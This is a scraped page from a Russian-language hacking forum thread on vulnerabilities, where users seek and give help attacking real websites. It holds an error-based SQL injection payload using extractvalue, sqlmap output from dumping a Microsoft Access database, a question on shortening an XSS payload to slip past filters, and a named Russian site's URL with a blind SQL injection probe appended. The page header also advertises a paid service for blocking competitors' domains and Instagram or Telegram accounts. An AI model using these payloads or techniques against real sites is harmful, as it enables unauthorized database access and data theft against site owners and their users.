УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2314 из 2438

2314

Опции темы

Поиск в этой теме

Опции просмотра

#23131

29.12.2013, 18:34

Unknown

Guest

Сообщений: n/a

Провел на форуме:
77731

Репутация: 33

Цитата:

Сообщение от Massay

Massay said:
Помогите пожалуйста розкрутить sql инъекцию

С чего ты взял что там что-то есть?

#23132

29.12.2013, 22:49

Massay

Guest

Сообщений: n/a

Провел на форуме:
4404

Репутация: 0

Цитата:

Сообщение от GhostW

GhostW said:
С чего ты взял что там что-то есть?

Вывод ошибки есть.

#23133

29.12.2013, 23:25

Inoms

Guest

Сообщений: n/a

Провел на форуме:
23349

Репутация: 45

Цитата:

Сообщение от Massay

Massay said:
Вывод ошибки есть. Только тогда когда вы авторизируетесь на сайте.
Без авторазции запрос - http://5.firepic.org/5/images/2013-12/29/3l1jmnodztsg.png
С авторизацию - http://5.firepic.org/5/images/2013-12/29/q8wgot3vlbg6.png

У меня в браезере что с вашей сессией, что без - кидает на второй скрин, ничего не меняется. Попробуйте выполнить

777") and extractvalue(1,concat(1,user()))=("1

Там вероятно update используется, хотя возможно и простая выборка.

#23134

30.12.2013, 00:26

Massay

Guest

Сообщений: n/a

Провел на форуме:
4404

Репутация: 0

Цитата:

Сообщение от Inoms

Inoms said:
777") and extractvalue(1,concat(1,user()))=("1
Там вероятно update используется, хотя возможно и простая выборка.

DB Error

You have an error in your SQL syntax;

#23135

30.12.2013, 00:32

er9j6@

Guest

Сообщений: n/a

Провел на форуме:
107835

Репутация: 23

Цитата:

Сообщение от Massay

Massay said:
DB Error
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and extractvalue(1,concat(1,user()))=("1")' at line 1

чем передаешь POST-запросы? Не могу добиться выводы ошибки в Http Analyzer

#23136

30.12.2013, 00:44

Massay

Guest

Сообщений: n/a

Провел на форуме:
4404

Репутация: 0

POST запрос передаю через плагин в Мозиле, HackBar.

#23137

30.12.2013, 01:02

Inoms

Guest

Сообщений: n/a

Провел на форуме:
23349

Репутация: 45

*Удалено по просьбе автора*

#23138

30.12.2013, 20:05

imprenko

Guest

Сообщений: n/a

Провел на форуме:
2871

Репутация: 0

sqlmap вывел таблици

только вот кодировка непонятная не могу в нормальный вид вывести

помогите пожалуйста....

back-end DBMS: Microsoft Access

Database:

[2 tables]

+--------------------------------------------------------------+

| {AIP|h3I$0?QE?2§4%H87HFE\n>p |

| {AIP|\x154%\x12\x11H87H\x1fFE\\n>p |

+--------------------------------------------------------------+

#23139

30.12.2013, 20:16

XAMEHA

Новичок

Регистрация: 15.05.2010

Сообщений: 0

Провел на форуме:
2268

Репутация: 0

Цитата:

Сообщение от OxoTnik

OxoTnik said:
В общем атака посредством XSS
фильтры
Фильтруется побел
Фильтруется +
Ограничение на количество символов до 140 символов
Пробовал кодировать чтобы убрать пробелы, но не вписывался в количество символов
сам запрос вписывается в 36 символов, но присутствует 1 пробел
как обойти?

Вставка в параметр или в тело?

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]

30 Символов. Если найти 5-буквенный домен, это 29. Может быть как-то еще закрывающий тег можно опустить.

P.S. Два слэша означают использование протокола сайта(HTTPS при HTTPS и HTTP при HTTP).

#23140

03.01.2014, 13:05

Always

Guest

Сообщений: n/a

Провел на форуме:
17560

Репутация: 0

http://www.btlt.ru/comp/index.php?a=p&cat=8 and substring(@@version,1,1)=5

а дальше никак...!

окажите помощь!

Страница 2314 из 2438

2314

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход